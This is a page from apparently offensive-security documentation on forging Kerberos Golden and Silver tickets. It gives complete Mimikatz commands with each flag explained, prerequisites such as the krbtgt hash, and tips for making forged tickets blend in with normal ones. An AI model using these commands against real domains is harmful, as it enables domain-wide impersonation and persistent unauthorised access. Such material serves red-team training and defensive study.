> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Kerberos Ticket Attacks

## Golden & Silver Tickets

A Kerberos ticket is just data plus a signature, and a DC trusts the signature blindly, normally because a real logon produced it. Golden/Silver tickets skip the logon entirely: if the signing secret is already known, a ticket can be handwritten claiming to be anyone, and it still checks out, since it was signed with the real key.

The difference is **whose secret gets used**, which decides how far the forged ticket reaches:

| | Silver Ticket | Golden Ticket |
| - | - | - |
| Forged from | A single service account's NTLM hash | The `krbtgt` account's NTLM hash |
| Grants access to | Just that one service | Any service in the domain |

### [Silver Ticket](https://adsecurity.org/?p=2011)

* **Use when:** access to one specific service is the goal, a file share, a SQL instance, a single website, not the whole domain.
* **Why:** quieter than Golden, it never touches `krbtgt` or the DC at all for some services, since the target service validates it locally with its own key.
* **Prerequisites:** that one service account's NTLM hash, the domain SID, and the target service's hostname/SPN.

### Golden Ticket

* **Use when:** the goal is full domain persistence, not one service, this is the "never lose access again" move after a domain compromise.
* **Why:** trusted everywhere, by every DC, for any service, and survives individual password resets since it's signed with `krbtgt`, not the target account's own hash.
* **Prerequisites:** the `krbtgt` account's NTLM hash (from DCSync or an `NTDS.dit` dump) and the domain SID.

### The Mimikatz Commands, Flag by Flag

**Silver Ticket:**

```shellscript wrap theme={null}
kerberos::golden /domain:<domain> /sid:<domain-sid> /target:<service-host> /service:cifs /rc4:<service-account-ntlm-hash> /user:administrator /ptt
```

<table>
  <colgroup>
    <col width="100" />

    <col width="597" />
  </colgroup>

  <thead>
    <tr>
      <th>Flag</th>
      <th>Meaning</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`/domain`</td>
      <td>The domain FQDN the ticket is being forged for.</td>
    </tr>

    <tr>
      <td>`/sid`</td>
      <td>The domain's SID (just the domain portion, not a full user SID, this is the piece every account's SID shares).</td>
    </tr>

    <tr>
      <td>`/target`</td>
      <td>The FQDN of the host running the target service, the ticket is scoped to this one machine.</td>
    </tr>

    <tr>
      <td>`/service`</td>
      <td>The SPN's service class, e.g. `cifs` for file shares, `http` for a web service, `mssql` for SQL Server, whatever the target service actually registered.</td>
    </tr>

    <tr>
      <td>`/rc4`</td>
      <td>The service account's NTLM hash</td>
    </tr>

    <tr>
      <td>`/user`</td>
      <td>The username to claim inside the forged ticket</td>
    </tr>

    <tr>
      <td>`/ptt`</td>
      <td>Inject the forged ticket directly into the current logon session (Pass-the-Ticket) instead of saving it to a file.</td>
    </tr>
  </tbody>
</table>

**Golden Ticket:**

```shellscript wrap theme={null}
kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-sid> /krbtgt:<krbtgt-ntlm-hash> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
```

<table>
  <colgroup>
    <col width="149" />

    <col width="545" />
  </colgroup>

  <thead>
    <tr>
      <th>Flag</th>
      <th>Meaning</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`/user`</td>
      <td>The username to claim, again doesn't need to be real.</td>
    </tr>

    <tr>
      <td>`/domain` / `/sid`</td>
      <td>Same as above, the domain FQDN and domain SID.</td>
    </tr>

    <tr>
      <td>`/krbtgt`</td>
      <td>The `krbtgt` account's NTLM hash, the domain wide TGT-signing key, this is what makes it a *Golden* ticket rather than a Silver one.</td>
    </tr>

    <tr>
      <td>`/id`</td>
      <td>The RID to forge into the ticket as the user's own, `500` is the known RID for the built in Administrator account.</td>
    </tr>

    <tr>
      <td>`/groups`</td>
      <td>Comma separated RIDs of the groups the forged ticket should claim membership in, `512` is Domain Admins, the group that actually grants the access, `/id` alone doesn't.</td>
    </tr>

    <tr>
      <td>`/startoffset`</td>
      <td>Minutes before now the ticket's validity starts, `0` means valid immediately.</td>
    </tr>

    <tr>
      <td>`/endin`</td>
      <td>How many minutes the ticket stays valid, `600` (10 hours) matches the domain's default maximum ticket lifetime, so it doesn't stand out as unusually long lived.</td>
    </tr>

    <tr>
      <td>`/renewmax`</td>
      <td>How many minutes the ticket can be renewed for before it must be reissued, `10080` (7 days) matches the typical domain default.</td>
    </tr>

    <tr>
      <td>`/ptt`</td>
      <td>Same as above, inject directly rather than save to disk.</td>
    </tr>
  </tbody>
</table>

> [!TIP]
>
> The service account or `krbtgt` NTLM hash needed here usually comes from [Windows Credentials Attacks](https://0-x.dev/windows-credentials-attacks.md) (LSASS/SAM dump), or from cracking a hash harvested on the [Kerberoasting](https://0-x.dev/ad/kerberoasting.md) or [AS-REP Roasting](https://0-x.dev/ad/as-rep-roasting.md) pages.

***

## Quick Reference Tools

> **[Kerberoasting](https://0-x.dev/ad/kerberoasting.md)**
>
> Request a crackable TGS for any SPN-carrying account, needs a valid credential.

> **[AS-REP Roasting](https://0-x.dev/ad/as-rep-roasting.md)**
>
> Request a crackable AS-REP for accounts with pre-auth disabled, needs no credential at all.

> **[Windows Credentials Attacks](https://0-x.dev/password-attacks/windows-credentials)**
>
> Local-host credential extraction, the hashes used to forge tickets above usually come from there.

> **[Pass-the-Ticket](https://0-x.dev/lateral-movement/pass-the-ticket.md)**
>
> What to actually do with a ticket forged here, on another host.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.